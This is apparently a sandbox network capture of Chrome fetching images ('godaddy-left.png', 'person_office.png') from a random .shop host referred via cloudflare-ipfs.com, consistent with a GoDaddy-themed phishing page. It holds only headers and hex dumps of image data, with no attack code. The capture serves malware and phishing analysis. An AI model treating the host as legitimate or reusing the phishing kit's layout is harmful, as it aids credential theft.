2024-05-27 17:30:44 UTC	319	IN	Data Raw: bf 0e db 17 fb f1 24 67 7c 76 c9 bf 48 6e c0 59 11 90 a3 c9 56 34 63 06 92 b5 1a 92 1d c8 56 bb a2 03 a9 f7 55 9d a1 8c 8c 5d 91 d6 25 69 37 70 23 f2 ee b5 93 67 7d fa 20 15 89 97 66 d0 e9 43 e0 24 cf fa 54 38 d0 82 ec b1 65 29 6f bd 0a 99 21 b4 d3 78 9b 81 2f 91 bd 24 f9 c3 48 a3 a7 8a 02 70 20 12 cf ca 72 63 db 90 1c f2 53 70 fb 19 3a 00 79 8f 7b b3 8e ef bd d0 e1 fb 2a 8c e8 0d fc 98 f4 17 fb ee b2 00 59 69 5e 0e 1c 85 a4 e6 f4 54 f3 60 47 e4 5d ed 12 a4 3a 74 bd 2d 4c 1e 42 e2 58 15 05 e6 50 e0 15 ea bb f1 db ca 72 e0 0d 24 f6 e4 52 87 7d 19 d2 4b a7 a2 24 f4 05 ae 45 8e 93 b9 0c b0 bc d2 8e fc dc 0e f3 6d 68 85 0d bb 21 4b ff 0d 84 19 50 1d c8 cf 5e 43 54 7b a9 90 fe 81 13 91 33 8b 3e 06 d4 2a a4 07 e0 98 50 06 55 c4 45 1f 64 35 38 09 f7 aa c4 cb 81 Data Ascii: $g\|vHnYV4cVU]%i7p#g} fC$T8e)o!x/$Hp rcSp:y{Yi^T`G]:t-LBXPr$R}K$Emh!KP^CT{3>PUEd58

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	55948	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	616	OUT	GET /static/media/godaddy-left.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:44 UTC	858	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:44 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="godaddy-left.png" Last-Modified: Mon, 27 Nov 2023 04:08:52 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jec1X%2BGrLsVNwgxk1518pLPrT4z7fPL9ijXfjgAVTUxyNH1KqvTA6ywt1SVOLSZJ%2Bgc9SykgokDmcAGgj0ubI5FV0LG%2FxCltJtbqbOGb7Ty2%2F2Rs%2FAUtgMEUEvoGeiZbAfG0d%2Bv1UNls53s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0a985b4240-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:44 UTC	511	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 80 f9 5d 21 82 ac 02 43 80 21 c0 10 10 07 02 6c c0 17 a0 1f 57 ad 59 c3 cd 9d 3d 5b aa 99 4b 11 77 74 e8 de 17 76 f9 0a a8 ac 6d 44 f8 35 ec d8 b8 06 69 69 92 bb 02 d5 aa 57 c7 9f 0b 17 b1 85 7a 2a 23 c9 1a 30 04 18 02 0c 01 c3 44 80 11 bd c0 fc 46 56 d5 77 0d e9 2c d5 aa 54 99 f2 08 ee de 17 a6 a6 b9 d5 d6 f4 e5 f3 a7 58 bf 7c 11 be 7c f9 4c 65 74 ef d1 03 a3 46 8e 64 be 57 1b 51 d6 90 21 c0 10 60 08 18 0e 02 6c b0 e7 c1 57 67 ce 9e e3 7e 9f 36 15 2f 5e bc e0 41 da 77 11 ae 6e 45 d1 7d c0 ff 60 66 66 a6 b1 dc 53 a1 07 70 e2 f0 3e a9 9c 21 43 87 22 29 29 09 4f 9f 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c Data Ascii: ]!C!lWY=[KwtvmD5iiWz*#0DFVw,TX\|\|LetFdWQ!`lWg~6/^AwnE}`ffSp>!C"))O>E9/?+bH"p-RNXh&!`h6X 33s
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: fe 1a 61 97 21 6f e3 a6 4d dc ef 53 a7 d2 3f db b4 69 03 32 c3 61 85 21 60 4c 08 04 05 05 21 2a 2a 8a 9a bc 65 db 36 94 f5 f2 e2 e5 da 32 26 0c c5 68 2b 0b 02 35 bc 7a e9 f2 15 ae 57 cf 1e b4 65 fe 02 05 b0 67 ef 3e 14 c8 67 a7 11 96 3f 0d 18 c0 9d 39 7d 9a ca ec d2 77 30 3c 4b 95 91 6a b6 7d e3 2a dc 0a bb 22 fd 9b 2c d4 23 24 5f d0 c1 51 0d ed f5 db 84 90 3d 49 e0 f3 ed db 37 aa 88 b5 b5 35 5d 29 ac ee 6e 05 59 6b 64 17 e1 0d 1c 38 10 e4 c5 0a 43 c0 98 10 e8 d9 b3 27 ae 5c 91 8c 15 4b 97 2d 87 7f 2d 3f 8d c6 25 63 c2 4e cc b6 b2 20 50 c3 bb 33 67 ce e2 d6 ad 93 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 Data Ascii: a!oMS?i2a!`L!*e62&h+5zWeg>g?9}w0<Kj}",#$_Q=I75])nYkd8C'\K--?%cN P3g,#&NMc.[-ZY'/_\|7s!wnaur'N`0
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: d7 18 3b 6e 2c ca 97 2d a3 16 be 7c 13 7d 25 07 7b 74 f4 f0 40 e9 fc f9 70 29 e6 0d 96 df bd 87 37 9f 3f cb b9 a5 74 be 7c e8 5e aa 24 bc f2 e7 c3 e5 37 6f b1 f5 d1 63 3c 94 59 25 4d 2a d7 71 71 46 67 4f 4f 14 b1 b1 c6 d1 97 51 58 12 71 07 5f d2 d2 8c c5 bd cc 4e 0d 11 60 44 af 21 80 ac 39 d4 1a 50 8d 09 b7 df a7 4f e7 36 6e d8 40 4d ee d2 b5 1b c6 8e 19 cd 0b 66 59 cd e6 3f 26 c4 e3 f0 9e 6d b8 7d e3 1a 7e 1e 37 d5 28 9e d5 47 84 5f c3 d9 13 a1 78 9d 9e 06 b7 51 e3 c6 f8 63 ee 5c b5 30 e6 93 e8 ed 2d 2c 30 a9 72 25 34 73 97 fc f8 22 65 f7 d3 a7 98 7d e3 26 a2 92 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e Data Ascii: ;n,-\|}%{t@p)7?t\|^$7oc<Y%M*qqFgOOQXq_N`D!9PO6n@MfY?&m}~7(G_xQc\0-,0r%4s"e}&Q1)%k%_vv~}L&NNp
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 00 19 a5 68 11 5b f4 0a 2e 8f 56 8d b2 ff f1 92 6a e9 87 3c f9 fd 34 c6 98 11 bd 10 af 26 a6 93 a6 08 30 a2 d7 14 41 d6 5e e3 c1 55 6c 10 3e 79 fa 8c 6b d6 b4 09 35 cb c4 c4 84 66 c2 2b e1 51 9c 17 9c 82 82 82 b8 97 2f 5f 52 d9 05 1d 1c 11 fb 36 86 e6 b6 6f d6 b6 13 ec f2 e5 97 42 99 92 92 8c 13 87 f6 e1 fc a9 a3 74 cb 5d db 10 49 66 3e a1 96 47 f7 ef d2 59 fc 93 48 f9 95 e4 3d da 97 a5 b7 ea f3 db 59 e4 a8 fa 37 33 37 98 39 74 d4 18 63 46 f4 42 8d 10 a6 97 26 08 30 a2 d7 04 3d d6 96 72 19 83 41 1e 81 7f 57 ae e2 e6 fd 31 97 7e d8 30 28 08 f3 e7 cd e3 05 a3 9b b7 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c Data Ascii: h[.Vj<4&0A^Ul>yk5f+Q/_R6oBt]If>GYH=Y7379tcFB&0=rAW1~0(#Nl[\|hJS}?_oyLa/;%Bj
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 73 5e f5 9f 90 98 8c 5a ad 25 0b 19 8b b8 e4 c5 fe 35 99 cf 72 cf 49 e7 34 f3 32 30 b7 6f a6 11 ee 8c e8 f9 8e 0a 26 4f 08 08 30 a2 17 82 17 0c 5b 07 8d 06 56 c3 36 fd bb f6 f5 ea 05 70 6f de c4 d0 0f 96 af f8 07 7e 35 6b f0 8e 4b 95 2a 55 b8 8c 85 7e 63 7f 9f 07 92 4d ee d0 ee ad 20 ab d9 ab d4 ac 83 fa 8d 5b d0 74 b7 19 25 29 31 91 e6 c0 bf 19 76 19 f6 0e 8e 34 07 7e 91 a2 c5 79 87 3c f9 eb 17 e9 6d fa 8c 1f 22 a4 93 4a e5 1d e9 73 78 ff 6a ca ef e5 af d0 60 0d d5 cf dc cc 14 57 0f 74 51 49 d7 54 0b 5f e4 29 10 a8 11 ee 8c e8 55 82 9c b7 ca 4e 56 96 b0 33 37 47 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be Data Ascii: s^Z%5rI420o&O0[V6po~5kK*U~cM [t%)1v4~y<m"Jsxj`WtQIT_)UNV37G^3se8ONFeY_U#C_F}\|q`"{
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: ac be 10 1e 5b ee 7f f6 1c 6b 1e 3c c0 e5 37 6f 79 94 6a 98 a2 18 d1 1b a6 df 84 a4 b5 c6 83 ab 90 8c 51 45 97 f1 e3 7f e5 76 ed da 49 9b fc 34 60 20 86 0c 1e a4 55 2c 64 49 88 f4 59 a5 66 6d 04 36 69 45 17 e6 65 94 0c 02 bf 78 46 92 03 bf 71 ab 60 e9 2d fe 8c 3a e1 d7 2e d1 e7 f9 e4 56 7f cd 3a 81 99 52 e8 92 7a f7 6e 87 e3 c2 e9 63 78 f6 58 b2 f8 4f b6 1c df 12 0c fb fc fc ec c3 7f ff e1 0b ba 0c 3b 80 17 af 3e d2 2e c8 11 b5 7d 3a c9 af 2d 50 c6 27 5f f2 0d 80 b5 55 5e 8d f1 67 44 af 0c da 99 eb 84 94 f0 44 ef d2 a5 51 dc 56 18 27 24 66 68 78 f7 fd 07 fc 7b ef 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca Data Ascii: [k<7oyjQEvI4` U,dIYfm6iEexFq`-:.V:RzncxXO;>.}:-P'_U^gDDQV'$fhx{=I=#zxp-PdKPV~#giiS
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: a4 8c b6 bf df bb 6f 3f 37 66 f4 28 da 4d 95 aa 55 b1 7a d5 2a 9d db bf 6e fd 7a 6e e6 8c 19 54 07 92 e6 b6 45 fb 10 7a 8a dd ed 1b d7 e8 22 3c f2 f7 8f a7 d4 25 c4 7f a0 cf e1 2f 9c 96 64 9f cb 28 01 7e 6e f4 36 7d 05 2f 07 ad 41 47 72 d8 93 67 f3 8d eb 15 43 93 80 62 b0 b2 d4 3c 53 5a aa 65 4d e4 c9 5f 8b 77 ec 19 d1 e7 1c 06 b3 aa 57 45 07 0f f9 ac 8a 5a 0b 1c 2d 0b fe f7 de 7d 4c bd 16 a6 e5 5e 84 21 9e 11 bd 30 fc 60 c8 5a f0 3e d8 0a 19 8c 7e fd fa 73 e7 ce 49 b6 9e 8d 19 3b 0e 5d bb 84 e8 dc fe a7 cf 5f 70 5d 43 42 10 97 7e db dd cc cc 0c 26 b9 72 a1 6e 83 a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c Data Ascii: o?7f(MUz*nznTEz"<%/d(~n6}/AGrgCb<SZeM_wWEZ-}L^!0`Z>~sI;]_p]CB~&rn^;roO#[jctI)VKUR7m}@=%9%ObM
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 5a 5a bb 16 1a 15 91 3f 23 41 d3 eb 2f ee c3 47 1c bf 78 5d 2d 31 c5 8b 38 c3 b7 6c 09 b5 da 2a 6a 44 48 9e 90 bd 18 0b 23 7a 31 7a 55 b7 36 e9 65 40 d6 95 89 57 ae 85 71 3d ba 75 a5 dd b9 bb bb 63 cb b6 ed b0 b1 b2 14 b5 cd b2 d8 92 67 f7 a6 5f 6e c0 f4 eb 2d 98 70 ca af 90 56 cd 3f b9 90 96 a7 3c 52 2d 7c 60 65 ed a8 57 6c 19 d1 7f f7 9c 9d b9 39 0e 37 6d 0c 27 2b 2b d5 dc a9 a0 76 6a 5a 1a 76 85 9e 53 4b 66 f9 52 c5 51 aa 98 ab 5a 6d 15 35 ba f7 e1 03 1a ed 3f a8 a8 9a 41 7e cf 88 de 20 dd 26 28 a5 f5 3a 30 6b 1b 89 09 13 27 72 db b7 6d a3 dd f4 ec d5 1b bf 8c 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 Data Ascii: ZZ?#A/Gx]-18l*jDH#z1zU6e@Wq=ucg_n-pV?<R-\|`eWl97m'++vjZvSKfRQZm5?A~ &(:0k'rm.j{3g4L"WS^`'G@yiX[WF][P!liP_(K
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 55 c8 11 01 46 f4 df e1 f1 ca 97 0f 07 9b 36 56 3b 62 c2 22 1e e2 f1 0b dd 90 26 d9 67 5f b7 aa b7 46 e9 71 bf a4 a5 a1 fe de fd 88 4a 4a 52 db 66 a1 36 64 44 2f 54 cf 18 8e 5e 06 43 84 a7 cf 9c e5 c6 8e 19 8d 0f 1f 3e c8 a1 4b f6 e9 9a e7 c9 83 af 5f 32 9f ce 56 b1 a2 2f 66 cc 9a 85 22 85 5d 0c c6 4e c3 09 1d e1 69 ca 88 fe bb 4f cc 72 e5 c2 9e 46 41 f0 ca 9f 4f 65 47 a9 92 0c 47 65 e1 d9 34 b0 2f 60 47 c9 5e dd 72 f9 cd 5b 04 87 2a 9e 00 a8 2b 5f 9f ed 18 d1 eb 13 7d 71 f4 6d 10 04 78 23 fc 26 d7 a7 77 2f 7c fe fc 59 8a 7a e5 1a fe a8 e0 5b 15 6e c5 24 7b 74 93 93 bf e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 Data Ascii: UF6V;b"&g_FqJJRf6dD/T^C>K_2V/f"]NiOrFAOeGGe4/`G^r[+_}qmx#&w/\|Yz[n${t{\|FNF^<Tx~e\Muw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	55951	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	378	OUT	GET /static/media/person_office.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:44 UTC	861	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:44 GMT Content-Type: image/png Content-Length: 6045 Connection: close Content-Disposition: inline; filename="person_office.png" Last-Modified: Sat, 04 Nov 2023 15:29:22 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BP0XUqgJ9F0VEMGjVkoQ9vqxNpUpY0z6a8SK3z63MNfrNtvMaX%2Bq6zvPELcUf%2Fu84o0ldpjgpmkDNe%2Bm3HX1I5WnFuGIl8Dw5mJjl8RrnO8jiutBR3FDQOYgUJHWk6rmQ0BODzDU%2Br18Wbs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0aa9608c9c-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:44 UTC	508	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 16 e9 49 44 41 54 78 9c ed 9d 7b 74 54 d5 bd c7 bf bf 33 03 89 49 44 34 24 99 39 93 40 80 46 0c 5c b4 70 91 a7 14 17 82 17 2c 95 a5 20 74 15 14 94 8b 14 6a 97 0f 2a 0f 91 96 b6 5c 50 5b 7b bd 5e e9 03 85 42 d4 bb 14 84 5e 29 f5 5a b0 0a 28 20 a8 08 84 08 88 26 3c 32 e7 cc 04 52 5e 49 20 24 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATx{tT3ID4$9@F\p, tj*\P[{^B^)Z( &<2R^I $
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: e7 f3 1d b0 5b 4c 2c b8 d2 b0 42 a1 50 aa a2 28 13 99 79 ba 20 08 03 ed d6 63 06 44 b4 53 55 d5 57 89 e8 6d 51 14 ab ec d6 13 2d ae 32 ac 50 28 94 a9 28 ca 2c 00 8f 11 51 ba dd 7a 2c e2 1c 11 ad aa ad ad 7d 21 27 27 27 68 b7 98 48 71 85 61 85 42 a1 ae cc bc 80 99 27 03 48 b2 5b 8f 4d 54 13 51 01 80 25 7e bf ff a8 dd 62 5a c2 d1 86 15 0c 06 73 04 41 f8 19 33 cf 40 db 35 a8 c6 d4 00 78 4b 10 84 5f f8 7c be 12 bb c5 e8 e1 48 c3 3a 75 ea d4 f5 35 35 35 f3 99 f9 49 00 c9 76 eb 71 28 17 01 bc 28 08 c2 52 9f cf 57 69 b7 98 c6 38 ca b0 ea 16 32 a7 30 f3 12 00 7e bb f5 b8 01 22 92 00 cc f3 f9 7c 6f 38 69 a9 c2 31 86 55 56 56 d6 fd d2 a5 4b cb 05 41 18 6e b7 16 97 f2 31 80 47 45 51 3c 64 b7 10 00 10 ec 16 c0 cc 5e 49 92 9e a9 ad ad 3d 90 30 aa 98 18 ca cc 7b 24 49 Data Ascii: [L,BP(y cDSUWmQ-2P((,Qz,}!'''hHqaB'H[MTQ%~bZsA3@5xK_\|H:u555Ivq((RWi820~"\|o8i1UVVKAn1GEQ<d^I=0{$I
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 4d 6d b6 9d 1b 60 e6 72 22 ea ac 95 87 5e d3 b0 24 49 9a 06 e0 35 d3 95 99 8c a2 28 58 b2 64 09 0e 1e 3c a8 db 26 23 23 03 b3 66 cd 42 8f 1e 3d 0c 19 b3 b0 b0 10 2b 57 ae 6c f6 ee d8 ab 57 2f cc 9f 3f 1f 82 e0 fe b8 13 22 9a ea f7 fb 57 37 2e d7 fb c9 a6 9b ac c7 12 d6 ad 5b d7 ac 51 0d 1c 38 10 4b 97 2e 35 cc a8 00 a0 77 ef de 58 ba 74 29 fa f4 e9 a3 db a6 a8 a8 08 eb d7 af 37 6c 4c 9b f9 77 ad c2 26 86 15 0e 87 7b 03 18 60 ba 1c 93 29 2e 2e c6 86 0d 1b 74 eb 87 0f 1f 8e c7 1e 7b 0c 29 29 c6 07 16 25 27 27 63 f6 ec d9 18 39 72 a4 6e 9b 77 df 7d 17 47 8f 1e 35 7c 6c ab 61 e6 3b 64 59 ee d9 b8 bc 89 61 29 8a 32 d5 12 45 26 a2 aa 2a 56 ac 58 01 55 55 35 eb 87 0f 1f 8e 69 d3 a6 99 fa 28 12 04 01 53 a7 4e c5 90 21 43 34 eb 15 45 c1 8a 15 2b c0 ec 98 0c da b1 Data Ascii: Mm`r"^$I5(Xd<&##fB=+WlW/?"W7.[Q8K.5wXt)7lLw&{`)..t{))%''c9rnw}G5\|la;dYa)2E&*VXUU5i(SN!C4E+
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: ed f2 f2 f2 b0 60 c1 82 78 4b 1b d9 98 d3 24 49 52 18 97 4f d5 8c 5b ce 9f 3f 8f a5 4b 97 b6 b8 19 5d 9f d1 ef 8e 3b ee c0 6d b7 dd d6 e2 e1 00 e5 e5 e5 28 2c 2c c4 96 2d 5b 22 8a b2 e9 d6 ad 1b e6 cf 9f ef 28 8f 56 93 08 91 2c cb 47 98 59 3b 26 29 8e a8 9f f7 44 f3 d8 cb ca ca 42 20 10 40 7a 7a 7a 43 0e d2 73 e7 ce e1 fc f9 f3 38 7a f4 68 54 6b 62 bd 7a f5 c2 53 4f 3d e5 0a 6f d6 58 61 e6 c3 54 5a 5a ba b3 ad 1c 13 57 5b 5b 8b 37 df 7c 13 7f ff fb df 2d 1b 93 88 30 6a d4 28 fc e8 47 3f 8a 27 2f d1 66 61 e6 ed 24 49 d2 46 00 df 6f b1 75 1c b1 6f df 3e bc fa ea ab a6 af c2 a7 a7 a7 63 fa f4 e9 b8 f5 d6 5b 4d 1d c7 69 10 d1 06 01 c0 29 bb 85 58 49 59 59 19 be fa ea 2b dd 95 70 23 a9 a8 a8 c0 ee dd bb 1d e5 c1 6a 11 e5 24 49 d2 af 01 3c 6b b7 12 b3 39 7f fe Data Ascii: `xK$IRO[?K];m(,,-["(V,GY;&)DB @zzzCs8zhTkbzSO=oXaTZZW[[7\|-0j(G?'/fa$IFouo>c[Mi)XIYY+p#j$I<k9
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 0a ad 72 3d c3 7a 0b 80 a3 4e 0d aa a9 a9 d1 4d 0c ab f7 c7 70 23 83 07 6b 9f 97 75 f0 e0 41 27 1e 8b 72 4a 6f 25 41 d3 b0 44 51 ac 02 f0 07 53 25 45 49 71 71 b1 e6 d1 25 a9 a9 a9 ba 47 b5 b9 91 ee dd bb 23 25 25 a5 49 79 75 75 35 8a 8b 8b 35 ae b0 0f 66 5e 56 67 2b 4d d0 f5 2a 13 04 e1 65 00 f6 86 b5 5c 85 5e de 85 9e 3d 7b ba de 39 ee 6a 04 41 d0 4d 2b ee a4 83 10 00 54 b7 6b d7 ee 8f 7a 95 ba 7f 11 9f cf 57 46 44 6f 98 a3 29 7a 8e 1f 3f ae 59 de ad 5b 37 8b 95 98 8f 9e e7 83 de ef c0 26 56 65 66 66 ea 46 e2 b6 f4 55 5f 0c c0 11 f9 b3 f4 9c e3 e2 ec a8 10 00 d0 4d c8 76 f2 a4 63 5c e6 2e 11 d1 73 cd 35 68 d6 b0 fc 7e ff 31 00 2b 0d 95 d4 4a f4 f2 2c c4 63 6c 9e de 97 a5 bc bc dc 62 25 da 10 d1 72 bf df 7f b4 b9 36 2d 4e 4e 54 55 fd 0f 38 60 ae 75 fe fc Data Ascii: r=zNMp#kuA'rJo%ADQS%EIqq%G#%%Iyuu55f^Vg+M*e\^={9jAM+TkzWFDo)z?Y[7&VeffFU_Mvc\.s5h~1+J,clb%r6-NNTU8`u
2024-05-27 17:30:44 UTC	61	IN	Data Raw: 78 00 b4 03 90 56 77 59 05 80 1a 00 0a 33 97 13 51 39 11 95 33 73 39 33 1f 13 04 a1 04 40 89 a2 28 c5 46 44 14 bb 95 ff 07 8e 4e 4a ac 93 a5 90 05 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: xVwY3Q93s93@(FDNJIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	55953	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	374	OUT	GET /static/media/bg_normal.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:44 UTC	864	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:44 GMT Content-Type: image/png Content-Length: 19683 Connection: close Content-Disposition: inline; filename="bg_normal.png" Last-Modified: Sat, 04 Nov 2023 20:23:32 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TwMDERQ4X%2FJi1Lxbd%2F8fAn6xczevIFgBCsMXHtc1ZXiyfSsIapM1twjMYwBAATTZvh%2B9Za%2FctX5Zb3F7ayMZDPkTYlUPGNvFM5u%2FWuxgWnYwn%2FBwIIYRbsola%2BA44zbfwU6FcaWOb6ieC6M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0abe847c90-EWR alt-svc: h3=":443"; ma=86400
